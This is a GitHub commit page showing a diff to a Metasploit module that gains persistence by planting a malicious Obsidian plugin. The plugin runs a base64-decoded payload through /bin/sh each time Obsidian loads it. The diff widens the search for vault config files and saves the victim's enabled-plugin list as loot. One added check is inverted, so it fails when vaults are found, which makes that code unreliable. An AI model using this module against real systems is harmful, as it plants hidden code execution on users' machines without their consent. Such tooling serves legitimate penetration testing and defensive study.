Skip to content

Commit

Permalink
peer review
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Dec 11, 2024
1 parent 6723c58 commit 7cf942c
Show file tree
Hide file tree
Showing 2 changed files with 23 additions and 7 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,10 @@ Name of the plugin. Defaults to being randomly generated.

The user to target. Defaults the user the shell was obtained under.

### CONFIG

Config file location on target. Defaults to empty which will search the default locations.

## Scenarios

### Version and OS
Expand Down
26 changes: 19 additions & 7 deletions modules/exploits/multi/local/obsidian_plugin_persistence.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Local

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report

def initialize(info = {})
super(
Expand Down Expand Up @@ -62,6 +63,7 @@ def initialize(info = {})
register_options([
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
])
end

Expand All @@ -77,14 +79,21 @@ def find_vaults
vprint_status("Target User: #{user}")
case session.platform
when 'windows', 'win'
config_file = "C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
when 'osx'
config_file = "/User/#{user}/Library/Application Support/obsidian/obsidian.json"
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
when 'linux'
config_file = "/home/#{user}/.config/obsidian/obsidian.json"
config_files = [
"/home/#{user}/.config/obsidian/obsidian.json",
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
] # snap package
end

if file?(config_file)
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?

config_files.each do |config_file|
next unless file?(config_file)

vprint_status("Found user obsidian file: #{config_file}")
config_contents = read_file(config_file)
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
Expand All @@ -98,6 +107,7 @@ def find_vaults
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
end
end
return vaults_found
end

vaults_found
Expand All @@ -119,7 +129,6 @@ def manifest_js(plugin_name)
def main_js(_plugin_name)
Rex::Text.encode_base64(payload.encoded)
if ['windows', 'win'].include? session.platform
# XXX need to test
caller_stub_b64 = payload.encoded.to_s
else
caller_stub_b64 = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
Expand Down Expand Up @@ -195,9 +204,10 @@ def exploit
plugin = plugin_name
print_status("Using plugin name: #{plugin}")
vaults = find_vaults
fail_with(Failure::NotFound, 'No vaults found') unless find_vaults.empty?
vaults.each_value do |vault|
print_status("Uploading plugin to vault #{vault['path']}")
# avoid mkdir function because taht registers it for delete, and we don't want that for
# avoid mkdir function because that registers it for delete, and we don't want that for
# persistent modules
if ['windows', 'win'].include? session.platform
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
Expand All @@ -215,10 +225,12 @@ def exploit
begin
plugins = JSON.parse(plugins)
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
print_good("Config file saved in: #{path}")
rescue JSON::ParserError
plugins = []
end
# XXX store loot?

plugins << plugin unless plugins.include?(plugin)
else
plugins = [plugin]
Expand Down

0 comments on commit 7cf942c

Please sign in to comment.